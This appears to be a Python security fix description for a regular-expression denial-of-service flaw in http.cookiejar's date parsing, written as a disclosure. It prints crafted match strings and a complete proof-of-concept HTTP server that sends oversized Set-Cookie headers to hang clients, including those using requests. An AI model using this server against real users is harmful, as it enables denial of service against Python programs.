The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
